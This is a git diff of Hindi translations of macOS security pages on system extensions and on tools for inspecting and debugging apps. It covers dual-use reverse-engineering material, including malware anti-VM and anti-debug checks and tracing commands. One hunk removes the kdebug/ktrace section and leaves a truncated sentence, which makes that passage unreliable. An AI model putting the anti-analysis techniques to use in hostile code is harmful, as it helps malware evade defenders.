https://knight.sc/images/system-extension-internals-1.png
-सिस्टम एक्सटेंशन के तीन प्रकार हैं: **DriverKit** एक्सटेंशन, **Network** एक्सटेंशन, और **Endpoint Security** एक्सटेंशन। +सिस्टम एक्सटेंशन्स के तीन प्रकार हैं: **DriverKit** एक्सटेंशन्स, **Network** एक्सटेंशन्स, और **Endpoint Security** एक्सटेंशन्स। -### **DriverKit एक्सटेंशन** +### **DriverKit एक्सटेंशन्स** -DriverKit कर्नेल एक्सटेंशन का एक विकल्प है जो **हार्डवेयर समर्थन प्रदान करता है**। यह डिवाइस ड्राइवरों (जैसे USB, Serial, NIC, और HID ड्राइवर) को कर्नेल स्थान के बजाय उपयोगकर्ता स्थान में चलाने की अनुमति देता है। DriverKit ढांचा **कुछ I/O किट वर्गों के उपयोगकर्ता स्थान संस्करणों** को शामिल करता है, और कर्नेल सामान्य I/O किट घटनाओं को उपयोगकर्ता स्थान में अग्रेषित करता है, जिससे इन ड्राइवरों के चलने के लिए एक सुरक्षित वातावरण प्रदान होता है। +DriverKit कर्नेल एक्सटेंशन्स का एक विकल्प है जो **हार्डवेयर समर्थन प्रदान करता है**। यह डिवाइस ड्राइवरों (जैसे USB, Serial, NIC, और HID ड्राइवर) को कर्नेल स्थान के बजाय उपयोगकर्ता स्थान में चलाने की अनुमति देता है। DriverKit ढांचा **कुछ I/O किट वर्गों के उपयोगकर्ता स्थान संस्करणों** को शामिल करता है, और कर्नेल सामान्य I/O किट घटनाओं को उपयोगकर्ता स्थान में अग्रेषित करता है, जिससे इन ड्राइवरों के चलने के लिए एक सुरक्षित वातावरण प्रदान होता है। -### **Network एक्सटेंशन** +### **Network एक्सटेंशन्स** -Network एक्सटेंशन नेटवर्क व्यवहार को अनुकूलित करने की क्षमता प्रदान करते हैं। Network एक्सटेंशन के कई प्रकार हैं: +Network एक्सटेंशन्स नेटवर्क व्यवहार को अनुकूलित करने की क्षमता प्रदान करते हैं। Network एक्सटेंशन्स के कई प्रकार हैं: - **App Proxy**: इसका उपयोग एक VPN क्लाइंट बनाने के लिए किया जाता है जो एक प्रवाह-आधारित, कस्टम VPN प्रोटोकॉल को लागू करता है। इसका मतलब है कि यह नेटवर्क ट्रैफ़िक को कनेक्शनों (या प्रवाहों) के आधार पर संभालता है न कि व्यक्तिगत पैकेट के आधार पर। - **Packet Tunnel**: इसका उपयोग एक VPN क्लाइंट बनाने के लिए किया जाता है जो एक पैकेट-आधारित, कस्टम VPN प्रोटोकॉल को लागू करता है। इसका मतलब है कि यह नेटवर्क ट्रैफ़िक को व्यक्तिगत पैकेट के आधार पर संभालता है। @@ -53,11 +53,11 @@ Network एक्सटेंशन नेटवर्क व्यवहार - **EndpointSecurityDriverClient**: इसके लिए `com.apple.private.endpoint-security.manager` अधिकार की आवश्यकता होती है, जो केवल सिस्टम प्रक्रिया `endpointsecurityd` के पास होता है। - **EndpointSecurityExternalClient**: इसके लिए `com.apple.developer.endpoint-security.client` अधिकार की आवश्यकता होती है। इसका उपयोग आमतौर पर तीसरे पक्ष के सुरक्षा सॉफ़्टवेयर द्वारा किया जाएगा जिसे एंडपॉइंट सुरक्षा ढांचे के साथ बातचीत करने की आवश्यकता होती है। -एंडपॉइंट सुरक्षा एक्सटेंशन:**`libEndpointSecurity.dylib`** वह C लाइब्रेरी है जिसका उपयोग सिस्टम एक्सटेंशन कर्नेल के साथ संवाद करने के लिए करते हैं। यह लाइब्रेरी एंडपॉइंट सुरक्षा KEXT के साथ संवाद करने के लिए I/O किट (`IOKit`) का उपयोग करती है। +एंडपॉइंट सुरक्षा एक्सटेंशन्स:**`libEndpointSecurity.dylib`** वह C लाइब्रेरी है जिसका उपयोग सिस्टम एक्सटेंशन्स कर्नेल के साथ संवाद करने के लिए करती हैं। यह लाइब्रेरी एंडपॉइंट सुरक्षा KEXT के साथ संवाद करने के लिए I/O किट (`IOKit`) का उपयोग करती है। -**`endpointsecurityd`** एक प्रमुख सिस्टम डेमॉन है जो एंडपॉइंट सुरक्षा सिस्टम एक्सटेंशनों का प्रबंधन और लॉन्च करने में शामिल है, विशेष रूप से प्रारंभिक बूट प्रक्रिया के दौरान। **केवल सिस्टम एक्सटेंशन** जिन्हें उनके `Info.plist` फ़ाइल में **`NSEndpointSecurityEarlyBoot`** के रूप में चिह्नित किया गया है, इस प्रारंभिक बूट उपचार को प्राप्त करते हैं। +**`endpointsecurityd`** एक प्रमुख सिस्टम डेमॉन है जो एंडपॉइंट सुरक्षा सिस्टम एक्सटेंशन्स का प्रबंधन और लॉन्च करने में शामिल है, विशेष रूप से प्रारंभिक बूट प्रक्रिया के दौरान। **केवल सिस्टम एक्सटेंशन्स** जिन्हें उनके `Info.plist` फ़ाइल में **`NSEndpointSecurityEarlyBoot`** के रूप में चिह्नित किया गया है, इस प्रारंभिक बूट उपचार को प्राप्त करते हैं। -एक अन्य सिस्टम डेमॉन, **`sysextd`**, **सिस्टम एक्सटेंशनों को मान्य करता है** और उन्हें उचित सिस्टम स्थानों में स्थानांतरित करता है। फिर यह संबंधित डेमॉन से एक्सटेंशन को लोड करने के लिए कहता है। **`SystemExtensions.framework`** सिस्टम एक्सटेंशनों को सक्रिय और निष्क्रिय करने के लिए जिम्मेदार है। +एक अन्य सिस्टम डेमॉन, **`sysextd`**, **सिस्टम एक्सटेंशन्स को मान्य करता है** और उन्हें उचित सिस्टम स्थानों में स्थानांतरित करता है। फिर यह संबंधित डेमॉन से एक्सटेंशन को लोड करने के लिए कहता है। **`SystemExtensions.framework`** सिस्टम एक्सटेंशन्स को सक्रिय और निष्क्रिय करने के लिए जिम्मेदार है। ## ESF को बायपास करना diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/README.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/README.md index c7a0b0556..ab8c47ad2 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/README.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/README.md @@ -33,7 +33,7 @@ ARCH=arm64e disarm -c -S /path/bin # Get symbols (func names, strings...) ARCH=arm64e disarm -c -d /path/bin # Get disasembled jtool2 -d __DATA.__const myipc_server | grep MIG # Get MIG info ``` -आप [**यहाँ jtool2 डाउनलोड कर सकते हैं**](http://www.newosxbook.com/tools/jtool.html) या इसे `brew` के साथ इंस्टॉल कर सकते हैं। +आप [**jtool2 यहाँ डाउनलोड कर सकते हैं**](http://www.newosxbook.com/tools/jtool.html) या इसे `brew` के साथ इंस्टॉल कर सकते हैं। ```bash # Install brew install --cask jtool2 @@ -50,7 +50,7 @@ ARCH=x86_64 jtool2 --sig /System/Applications/Automator.app/Contents/MacOS/Autom # Get MIG information jtool2 -d __DATA.__const myipc_server | grep MIG ``` -> [!CAUTION] > **jtool का उपयोग बंद कर दिया गया है और disarm का उपयोग किया जाना चाहिए** +> [!CAUTION] > **jtool का उपयोग बंद कर दिया गया है disarm के पक्ष में** ### Codesign / ldid @@ -84,11 +84,11 @@ ldid -S/tmp/entl.xml ### SuspiciousPackage [**SuspiciousPackage**](https://mothersruin.com/software/SuspiciousPackage/get.html) एक उपकरण है जो **.pkg** फ़ाइलों (इंस्टॉलर) की जांच करने के लिए उपयोगी है और इसे स्थापित करने से पहले इसके अंदर क्या है, यह देखने के लिए।\ -इन इंस्टॉलरों में `preinstall` और `postinstall` बैश स्क्रिप्ट होती हैं जिन्हें मैलवेयर लेखक आमतौर पर **persist** **the** **malware** के लिए दुरुपयोग करते हैं। +इन इंस्टॉलरों में `preinstall` और `postinstall` बैश स्क्रिप्ट होती हैं जिनका उपयोग आमतौर पर मैलवेयर लेखक **persist** **the** **malware** के लिए करते हैं। ### hdiutil -यह उपकरण Apple डिस्क इमेज (**.dmg**) फ़ाइलों को **mount** करने की अनुमति देता है ताकि उन्हें कुछ चलाने से पहले जांचा जा सके: +यह उपकरण Apple डिस्क इमेज (**.dmg**) फ़ाइलों को **mount** करने की अनुमति देता है ताकि उन्हें चलाने से पहले जांचा जा सके: ```bash hdiutil attach ~/Downloads/Firefox\ 58.0.2.dmg ``` @@ -105,7 +105,7 @@ hdiutil attach ~/Downloads/Firefox\ 58.0.2.dmg ### मेटाडेटा > [!CAUTION] -> ध्यान दें कि Objective-C में लिखे गए प्रोग्राम **क्लास डिक्लेरेशन को बनाए रखते हैं** **जब** **कंपाइल** किया जाता है [Mach-O बाइनरी में](../macos-files-folders-and-binaries/universal-binaries-and-mach-o-format.md)। ऐसे क्लास डिक्लेरेशन **शामिल** करते हैं: +> ध्यान दें कि Objective-C में लिखे गए प्रोग्राम **क्लास डिक्लेरेशन को बनाए रखते हैं** **जब** **कंपाइल** किया जाता है [Mach-O बाइनरी में](../macos-files-folders-and-binaries/universal-binaries-and-mach-o-format.md)। ऐसे क्लास डिक्लेरेशन **में शामिल हैं**: - परिभाषित इंटरफेस - इंटरफेस विधियाँ @@ -122,7 +122,7 @@ hdiutil attach ~/Downloads/Firefox\ 58.0.2.dmg इस फ़ंक्शन की अपेक्षित पैरामीटर हैं: -- पहला पैरामीटर (**self**) "एक पॉइंटर है जो **क्लास के इंस्टेंस की ओर इशारा करता है जो संदेश प्राप्त करने वाला है**"। या सरल शब्दों में, यह वह ऑब्जेक्ट है जिस पर विधि को लागू किया जा रहा है। यदि विधि एक क्लास विधि है, तो यह क्लास ऑब्जेक्ट का एक इंस्टेंस होगा (जैसे पूरा), जबकि एक इंस्टेंस विधि के लिए, self क्लास के एक इंस्टेंस को ऑब्जेक्ट के रूप में इंगित करेगा। +- पहला पैरामीटर (**self**) "एक पॉइंटर है जो **क्लास के इंस्टेंस की ओर इशारा करता है जो संदेश प्राप्त करने वाला है**"। या सरल शब्दों में, यह वह ऑब्जेक्ट है जिस पर विधि को लागू किया जा रहा है। यदि विधि एक क्लास विधि है, तो यह क्लास ऑब्जेक्ट का एक इंस्टेंस होगा (जैसे पूरा), जबकि एक इंस्टेंस विधि के लिए, self क्लास के एक इंस्टेंस के रूप में एक ऑब्जेक्ट की ओर इशारा करेगा। - दूसरा पैरामीटर, (**op**), "विधि का चयनकर्ता है जो संदेश को संभालता है"। फिर से, सरल शब्दों में, यह बस **विधि का नाम है।** - शेष पैरामीटर वे **मान हैं जो विधि द्वारा आवश्यक हैं** (op)। @@ -136,7 +136,7 @@ x64: | **आर्गुमेंट** | **रजिस्टर** | **(के लिए) objc_msgSend** | | ----------------- | --------------------------------------------------------------- | ------------------------------------------------------ | -| **1st आर्गुमेंट** | **rdi** | **self: वह ऑब्जेक्ट जिस पर विधि लागू की जा रही है** | +| **1st आर्गुमेंट** | **rdi** | **self: वह ऑब्जेक्ट जिस पर विधि को लागू किया जा रहा है** | | **2nd आर्गुमेंट** | **rsi** | **op: विधि का नाम** | | **3rd आर्गुमेंट** | **rdx** | **विधि के लिए 1st आर्गुमेंट** | | **4th आर्गुमेंट** | **rcx** | **विधि के लिए 2nd आर्गुमेंट** | @@ -191,7 +191,7 @@ Mem: 0x100027064-0x1000274cc __TEXT.__swift5_fieldmd Mem: 0x1000274cc-0x100027608 __TEXT.__swift5_capture [...] ``` -आप इस अनुभाग में संग्रहीत [**जानकारी के बारे में और जानकारी इस ब्लॉग पोस्ट में पा सकते हैं**](https://knight.sc/reverse%20engineering/2019/07/17/swift-metadata.html)। +आप इस [**ब्लॉग पोस्ट में इन अनुभागों में संग्रहीत जानकारी**](https://knight.sc/reverse%20engineering/2019/07/17/swift-metadata.html) के बारे में और जानकारी प्राप्त कर सकते हैं। इसके अलावा, **Swift बाइनरी में प्रतीक हो सकते हैं** (उदाहरण के लिए पुस्तकालयों को प्रतीकों को संग्रहीत करने की आवश्यकता होती है ताकि उनके कार्यों को कॉल किया जा सके)। **प्रतीकों में आमतौर पर कार्य का नाम** और विशेषता के बारे में जानकारी होती है, इसलिए वे बहुत उपयोगी होते हैं और ऐसे "**डेमैंग्लर्स"** होते हैं जो मूल नाम प्राप्त कर सकते हैं: ```bash @@ -222,7 +222,7 @@ macOS कुछ दिलचस्प APIs को उजागर करता ### Sysdiagnose -यह उपकरण (`/usr/bini/ysdiagnose`) मूल रूप से आपके कंप्यूटर से बहुत सारी जानकारी एकत्र करता है, जैसे कि `ps`, `zprint`... जैसे दर्जनों विभिन्न आदेशों को निष्पादित करता है। +यह उपकरण (`/usr/bini/ysdiagnose`) मूल रूप से आपके कंप्यूटर से बहुत सारी जानकारी एकत्र करता है, जिसमें `ps`, `zprint` जैसे दर्जनों विभिन्न कमांड चलाना शामिल है... इसे **रूट** के रूप में चलाना आवश्यक है और डेमन `/usr/libexec/sysdiagnosed` के पास बहुत दिलचस्प अधिकार हैं जैसे `com.apple.system-task-ports` और `get-task-allow`। @@ -236,13 +236,13 @@ macOS कुछ दिलचस्प APIs को उजागर करता MacOS बहुत सारे लॉग उत्पन्न करता है जो एक एप्लिकेशन चलाते समय **यह समझने में बहुत उपयोगी हो सकते हैं कि यह क्या कर रहा है**। -इसके अलावा, कुछ लॉग्स में `` टैग होगा ताकि कुछ **उपयोगकर्ता** या **कंप्यूटर** **पहचानने योग्य** जानकारी को **छिपाया** जा सके। हालाँकि, इस जानकारी को प्रकट करने के लिए **एक प्रमाणपत्र स्थापित करना संभव है**। [**यहाँ**](https://superuser.com/questions/1532031/how-to-show-private-data-in-macos-unified-log) से स्पष्टीकरण का पालन करें। +इसके अलावा, कुछ लॉग्स में `` टैग होगा ताकि कुछ **उपयोगकर्ता** या **कंप्यूटर** **पहचान योग्य** जानकारी को **छिपाया** जा सके। हालाँकि, इस जानकारी को प्रकट करने के लिए **एक प्रमाणपत्र स्थापित करना संभव है**। [**यहाँ**](https://superuser.com/questions/1532031/how-to-show-private-data-in-macos-unified-log) से स्पष्टीकरण का पालन करें। ### हॉप्पर #### बाईं पैनल -हॉप्पर के बाईं पैनल में बाइनरी के प्रतीक (**लेबल**) देखना संभव है, प्रक्रियाओं और कार्यों की सूची (**प्रोक**) और स्ट्रिंग्स (**स्ट्र**)। ये सभी स्ट्रिंग्स नहीं हैं बल्कि वे हैं जो Mac-O फ़ाइल के कई भागों में परिभाषित हैं (जैसे _cstring या_ `objc_methname`)। +हॉप्पर के बाईं पैनल में बाइनरी के प्रतीक (**Labels**), प्रक्रियाओं और कार्यों की सूची (**Proc**) और स्ट्रिंग्स (**Str**) देखी जा सकती हैं। ये सभी स्ट्रिंग्स नहीं हैं बल्कि वे हैं जो Mac-O फ़ाइल के कई भागों में परिभाषित हैं (जैसे _cstring या_ `objc_methname`)। #### मध्य पैनल @@ -250,7 +250,7 @@ MacOS बहुत सारे लॉग उत्पन्न करता ह
-कोड ऑब्जेक्ट पर राइट-क्लिक करके आप **उस ऑब्जेक्ट के लिए संदर्भ** देख सकते हैं या यहां तक कि इसका नाम बदल सकते हैं (यह डी-कंपाइल किए गए प्सेडोकोड में काम नहीं करता): +कोड ऑब्जेक्ट पर राइट-क्लिक करने पर आप **उस ऑब्जेक्ट के लिए संदर्भ** देख सकते हैं या यहां तक कि इसका नाम बदल सकते हैं (यह डी-कंपाइल किए गए प्सेडोकोड में काम नहीं करता):
@@ -258,7 +258,7 @@ MacOS बहुत सारे लॉग उत्पन्न करता ह #### दाईं पैनल -दाईं पैनल में आप दिलचस्प जानकारी देख सकते हैं जैसे **नेविगेशन इतिहास** (ताकि आप जान सकें कि आप वर्तमान स्थिति में कैसे पहुंचे), **कॉल ग्राफ** जहां आप देख सकते हैं सभी **कार्य जो इस कार्य को कॉल करते हैं** और सभी कार्य जो **यह कार्य कॉल करता है**, और **स्थानीय चर** की जानकारी। +दाईं पैनल में आप दिलचस्प जानकारी देख सकते हैं जैसे **नेविगेशन इतिहास** (ताकि आप जान सकें कि आप वर्तमान स्थिति पर कैसे पहुंचे), **कॉल ग्राफ** जहां आप देख सकते हैं सभी **कार्य जो इस कार्य को कॉल करते हैं** और सभी कार्य जो **यह कार्य कॉल करता है**, और **स्थानीय चर** की जानकारी। ### डीट्रैस @@ -267,7 +267,7 @@ MacOS बहुत सारे लॉग उत्पन्न करता ह DTrace प्रत्येक सिस्टम कॉल के लिए एक प्रोब बनाने के लिए **`dtrace_probe_create`** फ़ंक्शन का उपयोग करता है। ये प्रोब्स प्रत्येक सिस्टम कॉल के **प्रवेश और निकास बिंदु** में फायर किए जा सकते हैं। DTrace के साथ इंटरैक्शन /dev/dtrace के माध्यम से होता है जो केवल रूट उपयोगकर्ता के लिए उपलब्ध है। > [!TIP] -> SIP सुरक्षा को पूरी तरह से अक्षम किए बिना Dtrace को सक्षम करने के लिए आप रिकवरी मोड में निष्पादित कर सकते हैं: `csrutil enable --without dtrace` +> Dtrace को पूरी तरह से SIP सुरक्षा को अक्षम किए बिना सक्षम करने के लिए आप रिकवरी मोड में निष्पादित कर सकते हैं: `csrutil enable --without dtrace` > > आप **`dtrace`** या **`dtruss`** बाइनरी भी कर सकते हैं जो **आपने संकलित की हैं**। @@ -281,7 +281,7 @@ ID PROVIDER MODULE FUNCTION NAME 43 profile profile-97 44 profile profile-199 ``` -प्रोब नाम चार भागों में बंटा होता है: प्रदाता, मॉड्यूल, फ़ंक्शन, और नाम (`fbt:mach_kernel:ptrace:entry`)। यदि आप नाम के किसी भाग को निर्दिष्ट नहीं करते हैं, तो Dtrace उस भाग को वाइल्डकार्ड के रूप में लागू करेगा। +प्रोब नाम चार भागों में बंटा होता है: प्रदाता, मॉड्यूल, फ़ंक्शन, और नाम (`fbt:mach_kernel:ptrace:entry`)। यदि आप नाम के कुछ भाग को निर्दिष्ट नहीं करते हैं, तो Dtrace उस भाग को वाइल्डकार्ड के रूप में लागू करेगा। DTrace को प्रोब्स को सक्रिय करने और जब वे फायर होते हैं तो कौन से क्रियाएँ करनी हैं, यह निर्दिष्ट करने के लिए, हमें D भाषा का उपयोग करने की आवश्यकता होगी। @@ -339,33 +339,7 @@ dtruss -c -p 1000 #get syscalls of PID 1000 ``` ### kdebug -यह एक कर्नेल ट्रेसिंग सुविधा है। दस्तावेज़ित कोड **`/usr/share/misc/trace.codes`** में पाए जा सकते हैं। - -`latency`, `sc_usage`, `fs_usage` और `trace` जैसे उपकरण इसका आंतरिक रूप से उपयोग करते हैं। - -`kdebug` के साथ इंटरफेस करने के लिए `sysctl` का उपयोग `kern.kdebug` नामस्थान पर किया जाता है और उपयोग करने के लिए MIBs `sys/sysctl.h` में पाए जा सकते हैं जिसमें कार्य `bsd/kern/kdebug.c` में लागू किए गए हैं। - -कस्टम क्लाइंट के साथ kdebug के साथ इंटरैक्ट करने के लिए ये आमतौर पर कदम होते हैं: - -- KERN_KDSETREMOVE के साथ मौजूदा सेटिंग्स को हटाएं -- KERN_KDSETBUF और KERN_KDSETUP के साथ ट्रेस सेट करें -- बफर प्रविष्टियों की संख्या प्राप्त करने के लिए KERN_KDGETBUF का उपयोग करें -- KERN_KDPINDEX के साथ ट्रेस से अपने क्लाइंट को प्राप्त करें -- KERN_KDENABLE के साथ ट्रेसिंग सक्षम करें -- KERN_KDREADTR को कॉल करके बफर पढ़ें -- प्रत्येक थ्रेड को उसके प्रोसेस से मेल करने के लिए KERN_KDTHRMAP को कॉल करें। - -इस जानकारी को प्राप्त करने के लिए Apple उपकरण **`trace`** या कस्टम उपकरण [kDebugView (kdv)](https://newosxbook.com/tools/kdv.html)** का उपयोग करना संभव है।** - -**ध्यान दें कि Kdebug केवल एक ग्राहक के लिए एक समय में उपलब्ध है।** इसलिए एक समय में केवल एक k-debug संचालित उपकरण चलाया जा सकता है। - -### ktrace - -`ktrace_*` APIs `libktrace.dylib` से आती हैं जो `Kdebug` के उन पर लपेटती हैं। फिर, एक क्लाइंट बस `ktrace_session_create` और `ktrace_events_[single/class]` को कॉल कर सकता है ताकि विशिष्ट कोड पर कॉलबैक सेट कर सके और फिर `ktrace_start` के साथ इसे शुरू कर सके। - -आप इसे **SIP सक्रिय होने पर भी** उपयोग कर सकते हैं। - -आप क्लाइंट के रूप में उपयोगिता `ktrace` का उपयोग कर सकते हैं: +यह एक कर्नेल ट्रेसिंग सुविधा है। दस्तावेज़ित कोड **`/usr/share/misc/trace.codes` ```bash ktrace trace -s -S -t c -c ls | grep "ls(" ``` @@ -375,7 +349,7 @@ ktrace trace -s -S -t c -c ls | grep "ls(" यह कर्नेल स्तर की प्रोफाइलिंग करने के लिए उपयोग किया जाता है और इसे `Kdebug` कॉलआउट्स का उपयोग करके बनाया गया है। -बुनियादी रूप से, वैश्विक चर `kernel_debug_active` की जांच की जाती है और इसे सेट किया जाता है, यह `kperf_kdebug_handler` को `Kdebug` कोड और कर्नेल फ्रेम के पते के साथ कॉल करता है। यदि `Kdebug` कोड में से एक चयनित के साथ मेल खाता है, तो इसे एक बिटमैप के रूप में "क्रियाएँ" कॉन्फ़िगर की जाती हैं (विकल्पों के लिए `osfmk/kperf/action.h` देखें)। +बुनियादी रूप से, वैश्विक चर `kernel_debug_active` की जांच की जाती है और यदि यह सेट है तो यह `kperf_kdebug_handler` को `Kdebug` कोड और कर्नेल फ्रेम के पते के साथ कॉल करता है। यदि `Kdebug` कोड में से एक चयनित के साथ मेल खाता है, तो इसे "क्रियाएँ" के रूप में एक बिटमैप के रूप में कॉन्फ़िगर किया जाता है (विकल्पों के लिए `osfmk/kperf/action.h` देखें)। Kperf का एक sysctl MIB तालिका भी है: (रूट के रूप में) `sysctl kperf`। ये कोड `osfmk/kperf/kperfbsd.c` में पाए जा सकते हैं। @@ -383,12 +357,12 @@ Kperf का एक sysctl MIB तालिका भी है: (रूट क ### ProcessMonitor -[**ProcessMonitor**](https://objective-see.com/products/utilities.html#ProcessMonitor) एक बहुत उपयोगी उपकरण है जो यह जांचने के लिए है कि एक प्रक्रिया कौन-कौन सी क्रियाएँ कर रही है (उदाहरण के लिए, यह मॉनिटर करें कि एक प्रक्रिया कौन-कौन से नए प्रक्रियाएँ बना रही है)। +[**ProcessMonitor**](https://objective-see.com/products/utilities.html#ProcessMonitor) एक बहुत उपयोगी उपकरण है जो यह जांचने के लिए है कि एक प्रक्रिया कौन-कौन से क्रियाएँ कर रही है (उदाहरण के लिए, यह मॉनिटर करें कि एक प्रक्रिया कौन-कौन से नए प्रक्रियाएँ बना रही है)। ### SpriteTree [**SpriteTree**](https://themittenmac.com/tools/) एक उपकरण है जो प्रक्रियाओं के बीच संबंधों को प्रिंट करता है।\ -आपको अपने मैक को एक कमांड के साथ मॉनिटर करना होगा जैसे **`sudo eslogger fork exec rename create > cap.json`** (इसकी आवश्यकता के लिए टर्मिनल को FDA लॉन्च करना आवश्यक है)। और फिर आप इस उपकरण में json लोड कर सकते हैं ताकि सभी संबंधों को देख सकें: +आपको अपने मैक को एक कमांड के साथ मॉनिटर करना होगा जैसे **`sudo eslogger fork exec rename create > cap.json`** (इसकी आवश्यकता के लिए टर्मिनल को FDA लॉन्च करना होगा)। और फिर आप इस उपकरण में json लोड कर सकते हैं ताकि सभी संबंधों को देख सकें:
@@ -398,11 +372,11 @@ Kperf का एक sysctl MIB तालिका भी है: (रूट क ### Crescendo -[**Crescendo**](https://github.com/SuprHackerSteve/Crescendo) एक GUI उपकरण है जिसका रूप और अनुभव Windows उपयोगकर्ताओं को Microsoft Sysinternal के _Procmon_ से परिचित हो सकता है। यह उपकरण विभिन्न प्रकार की घटनाओं के रिकॉर्डिंग को शुरू और बंद करने की अनुमति देता है, इन घटनाओं को फ़ाइल, प्रक्रिया, नेटवर्क आदि जैसी श्रेणियों द्वारा फ़िल्टर करने की अनुमति देता है, और json प्रारूप में रिकॉर्ड की गई घटनाओं को सहेजने की कार्यक्षमता प्रदान करता है। +[**Crescendo**](https://github.com/SuprHackerSteve/Crescendo) एक GUI उपकरण है जिसका रूप और अनुभव Windows उपयोगकर्ताओं को Microsoft Sysinternal के _Procmon_ से परिचित हो सकता है। यह उपकरण विभिन्न प्रकार की घटनाओं के रिकॉर्डिंग को शुरू और रोकने की अनुमति देता है, इन घटनाओं को फ़ाइल, प्रक्रिया, नेटवर्क आदि जैसी श्रेणियों द्वारा फ़िल्टर करने की अनुमति देता है, और json प्रारूप में रिकॉर्ड की गई घटनाओं को सहेजने की कार्यक्षमता प्रदान करता है। ### Apple Instruments -[**Apple Instruments**](https://developer.apple.com/library/archive/documentation/Performance/Conceptual/CellularBestPractices/Appendix/Appendix.html) Xcode के डेवलपर उपकरणों का हिस्सा हैं - जो एप्लिकेशन प्रदर्शन की निगरानी, मेमोरी लीक की पहचान और फ़ाइल सिस्टम गतिविधि को ट्रैक करने के लिए उपयोग किए जाते हैं। +[**Apple Instruments**](https://developer.apple.com/library/archive/documentation/Performance/Conceptual/CellularBestPractices/Appendix/Appendix.html) Xcode के डेवलपर उपकरणों का हिस्सा हैं - जो अनुप्रयोग प्रदर्शन की निगरानी, मेमोरी लीक की पहचान और फ़ाइल सिस्टम गतिविधि को ट्रैक करने के लिए उपयोग किए जाते हैं। ![](<../../../images/image (1138).png>) @@ -456,12 +430,12 @@ settings set target.x86-disassembly-flavor intel - कमांड **`sysctl hw.model`** "Mac" लौटाता है जब **होस्ट MacOS है** लेकिन जब यह एक VM है तो कुछ अलग लौटाता है। - **`hw.logicalcpu`** और **`hw.physicalcpu`** के मानों के साथ खेलते हुए कुछ मैलवेयर यह पहचानने की कोशिश करते हैं कि क्या यह एक VM है। -- कुछ मैलवेयर यह भी **पहचान सकते हैं** कि मशीन **VMware** आधारित है या नहीं, MAC पते (00:50:56) के आधार पर। -- यह भी संभव है कि **यदि एक प्रक्रिया को डीबग किया जा रहा है** तो इसे एक साधारण कोड के साथ जांचा जा सके: +- कुछ मैलवेयर यह भी **पहचान सकते हैं** कि मशीन **VMware** आधारित है या नहीं MAC पते (00:50:56) के आधार पर। +- यह भी संभव है कि **यदि एक प्रक्रिया को डीबग किया जा रहा है** तो इसे एक साधारण कोड के साथ जांचा जा सके जैसे: - `if(P_TRACED == (info.kp_proc.p_flag & P_TRACED)){ //प्रक्रिया को डीबग किया जा रहा है }` - यह **`ptrace`** सिस्टम कॉल को **`PT_DENY_ATTACH`** फ्लैग के साथ भी कॉल कर सकता है। यह **डीबग** करने वाले को अटैच और ट्रेस करने से रोकता है। - आप जांच सकते हैं कि **`sysctl`** या **`ptrace`** फ़ंक्शन को **आयात** किया जा रहा है (लेकिन मैलवेयर इसे डायनामिक रूप से आयात कर सकता है) -- जैसा कि इस लेख में उल्लेख किया गया है, “[Defeating Anti-Debug Techniques: macOS ptrace variants](https://alexomara.com/blog/defeating-anti-debug-techniques-macos-ptrace-variants/)” :\ +- जैसा कि इस लेख में नोट किया गया है, “[Defeating Anti-Debug Techniques: macOS ptrace variants](https://alexomara.com/blog/defeating-anti-debug-techniques-macos-ptrace-variants/)” :\ “_संदेश प्रक्रिया # समाप्त हो गई **स्थिति = 45 (0x0000002d)** आमतौर पर यह एक संकेत है कि डीबग लक्ष्य **PT_DENY_ATTACH** का उपयोग कर रहा है_” ## कोर डंप @@ -470,7 +444,7 @@ settings set target.x86-disassembly-flavor intel - `kern.coredump` sysctl 1 पर सेट है (डिफ़ॉल्ट रूप से) - यदि प्रक्रिया suid/sgid नहीं थी या `kern.sugid_coredump` 1 है (डिफ़ॉल्ट रूप से 0) -- `AS_CORE` सीमा ऑपरेशन की अनुमति देती है। कोड डंप निर्माण को दबाने के लिए `ulimit -c 0` कॉल करके और उन्हें फिर से सक्षम करने के लिए `ulimit -c unlimited` का उपयोग किया जा सकता है। +- `AS_CORE` सीमा ऑपरेशन की अनुमति देती है। कोड डंप निर्माण को दबाने के लिए `ulimit -c 0` कॉल करके और उन्हें फिर से सक्षम करने के लिए `ulimit -c unlimited` का उपयोग करना संभव है। इन मामलों में कोर डंप `kern.corefile` sysctl के अनुसार उत्पन्न होते हैं और आमतौर पर `/cores/core/.%P` में संग्रहीत होते हैं। @@ -479,8 +453,8 @@ settings set target.x86-disassembly-flavor intel ### [ReportCrash](https://ss64.com/osx/reportcrash.html) ReportCrash **क्रैश होने वाली प्रक्रियाओं का विश्लेषण करता है और डिस्क पर एक क्रैश रिपोर्ट सहेजता है**। एक क्रैश रिपोर्ट में ऐसी जानकारी होती है जो **डेवलपर को क्रैश के कारण का निदान करने में मदद कर सकती है**।\ -प्रयोगकर्ताओं के लिए **per-user launchd संदर्भ में चलने वाली** अनुप्रयोगों और अन्य प्रक्रियाओं के लिए, ReportCrash एक LaunchAgent के रूप में चलता है और उपयोगकर्ता के `~/Library/Logs/DiagnosticReports/` में क्रैश रिपोर्ट सहेजता है।\ -डेमन्स, सिस्टम लॉन्चड संदर्भ में चलने वाली अन्य प्रक्रियाओं और अन्य विशेषाधिकार प्राप्त प्रक्रियाओं के लिए, ReportCrash एक LaunchDaemon के रूप में चलता है और सिस्टम के `/Library/Logs/DiagnosticReports` में क्रैश रिपोर्ट सहेजता है। +उपयोगकर्ता के लॉन्चड संदर्भ में **चलने वाली अनुप्रयोगों और अन्य प्रक्रियाओं** के लिए, ReportCrash एक LaunchAgent के रूप में चलता है और उपयोगकर्ता के `~/Library/Logs/DiagnosticReports/` में क्रैश रिपोर्ट सहेजता है।\ +डेमन्स, सिस्टम लॉन्चड संदर्भ में **चलने वाली अन्य प्रक्रियाओं** और अन्य विशेषाधिकार प्राप्त प्रक्रियाओं के लिए, ReportCrash एक LaunchDaemon के रूप में चलता है और सिस्टम के `/Library/Logs/DiagnosticReports` में क्रैश रिपोर्ट सहेजता है। यदि आप क्रैश रिपोर्टों के बारे में चिंतित हैं **जो Apple को भेजी जा रही हैं** तो आप उन्हें अक्षम कर सकते हैं। यदि नहीं, तो क्रैश रिपोर्टें **यह पता लगाने में सहायक हो सकती हैं कि सर्वर कैसे क्रैश हुआ**। ```bash diff --git 